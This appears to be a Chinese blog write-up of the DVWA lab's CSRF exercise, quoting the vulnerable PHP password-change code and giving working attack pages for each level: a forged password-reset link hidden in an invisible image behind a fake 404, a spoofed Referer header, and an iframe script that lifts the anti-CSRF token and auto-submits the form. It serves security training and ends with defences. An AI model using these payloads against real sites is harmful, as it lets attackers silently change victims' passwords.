首页 > 其他分享 >DVWA 之 CSRF-跨站请求伪造

DVWA 之 CSRF-跨站请求伪造

时间:2023-03-04 22:36:51浏览次数:46  
标签:跨站 DVWA 密码 token CSRF mysqli ___ 页面

三、CSRF-跨站请求伪造

原理

指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

1. Low

查看源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?---检测新密码和确认密码是否相同
	if( $pass_new == $pass_conf ) {
		// They do!---如果相同,先使用mysqli_real_escape_string函数转义用户输入的新密码中的特殊字符,以防止SQL注入
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );	//再将新密码MD5

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

$GLOBALS:引用全局作用域中可用的全部变量。GLOBALS 这种全局变量用于在PHP脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP在名为$GLOBAL[index]的数组中存储了所有全局变量,变量的名字就是数组的键。

源代码中只对用户输入的两个密码进行判断,看是否相等,不相等就提示密码不匹配;相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象,如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话,输出错误。是一个对象的话,再用md5进行加密,更新数据库。

尝试输入密码不一致

可以看到顶部的URL是:http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=11111&Change=Change#

这就是修改密码链接,直接在同一浏览器下新建一个页面,修改链接中的密码值为

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

发现密码已被修改。这种方式太明显,可以对此修改链接进行伪装

  • 短链接生成
  • 构造攻击页面
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# " border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

2. Medium

尝试用低难度的方式,另打开一个页面输入修改链接,结果如下

查看源代码,添加了以下内容

	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos(string, find, start)

返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回FALSE

发现代码检查了保留变量 HTTP_REFERER(http头的Referer参数的值,表示来源地址)中是否包含 SERVER_NAME(http头中的Host参数,即要访问的主机名,此处是127.0.0.1)

由于过滤规则是http头中的Referer参数的值中必须包含主机名,因此可以通过抓包,在http头部中添加Referer字段,并在其值中包含主机头127.0.0.1,可以设置如下

Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/

可以看到成功修改了密码

3. High

查看源码,发现High级别的代码增加了 Anti-CSRF token 机制,用户每次访问改密页面时,服务器会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

随便输入密码验证以下,由于请求是 get 请求,在URL中可以看到token参数,如图所示

要绕过High级别的反CSRF机制,关键是要获取token,利用受害者的cookie,去修改密码的页面。

试着构造一个攻击页面,将其放在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,代码如下:

<script type="text/javascript">
    function attack(){
        document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
        document.getElementById("transfer").submit(); 
    }
</script>

<iframe src="http://172.16.134.26/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>

<body onl oad="attack()">
    <form method="GET" id="transfer" action="http://172.16.134.26/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>

将代码中的 ip 地址改为攻击者服务器地址,攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见的框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

注:实际操作中存在跨域问题,浏览器不允许跨域请求。

防护方法

  • 二次确认,在调用某些功能时,进行二次确认。例如转账操作时,要求用户输入二次密码。
  • Token 认证

需注意,当网站同时存在XSS、CSRF漏洞时,Token防御机制将会失效,攻击者可以通过JavaScript获取Token的值。

标签:跨站,DVWA,密码,token,CSRF,mysqli,___,页面
From: https://www.cnblogs.com/augustine0654/p/17179357.html

相关文章

  • DVWA 之 Command Injection-命令注入
    二、CommandInjection-命令注入原理命令注入是指对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令......
  • DVWA 环境搭建
    环境准备phpstudy官网下载:https://www.xp.cn/,下载安装完成后启动Apache和MysqlDVWA下载地址:https://github.com/ethicalhack3r/DVWA将下载后的DVWA安装包......
  • DVWA靶场学习
    dvwa靶场学习容器相关启动容器:systemctlstartdocker.service列出可用容器:dockerps-a删除镜像:dockerrmi[image_id]删除容器:dockerrm[container_id]启......
  • DVWA XSS
    XSSStorehignlevel<?phpif(isset($_POST['btnSign'])){//Getinput$message=trim($_POST['mtxMessage']);$name=trim($_POST['......
  • DVWA CRSF
    主要方式就是引诱用户去点击一个是黑客精心构造的一个html中的一个按钮(或者是引诱用户去访问一个精心构造的url),而该按钮会发生一个请求给目标服务器<html><ahref="h......
  • Ubuntu之docker搭建dvwa
    前提,已经安装好docker。首先,搜索DVWA镜像,安装,安装完成后,dockerimages查看已有镜像,然后运行dvwa镜像,与容器进行交互,访问ip:端口,出现如下界面则搭建成功,点击“Create/ResetD......
  • Django CSRF认证的几种解决方案
    什么是CSRF浏览器在发送请求的时候,会自动带上当前域名对应的cookie内容,发送给服务端,不管这个请求是来源A网站还是其它网站,只要请求的是A网站的链接,就会带上A网站的cookie......
  • XSS跨站之分类及攻击手法
    25、Web漏洞-XSS跨站之分类及攻击手法 XSS跨站漏洞产生原理、危害、特点原理:在变量接受数据的时候,如果接受的数据被执行了,那么就铲产生了XSS漏洞。危害:l 窃取管理......
  • XSS跨站之订单及shell箱子反杀记
    XSS平台及工具使用postman可以通过获取的cookie登陆网站的后台beef工具必须在linux中才可以使用XSS经典应用案例测试Webshell后门中的后门箱子返回的代码中添加后门,......
  • DVWA靶场实战(十四)——JavaScript
    DVWA靶场实战(十四)五、JavaScript:1.漏洞原理:这里的JavaScript其实是JavaScriptAttack也就是JS攻击。JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本......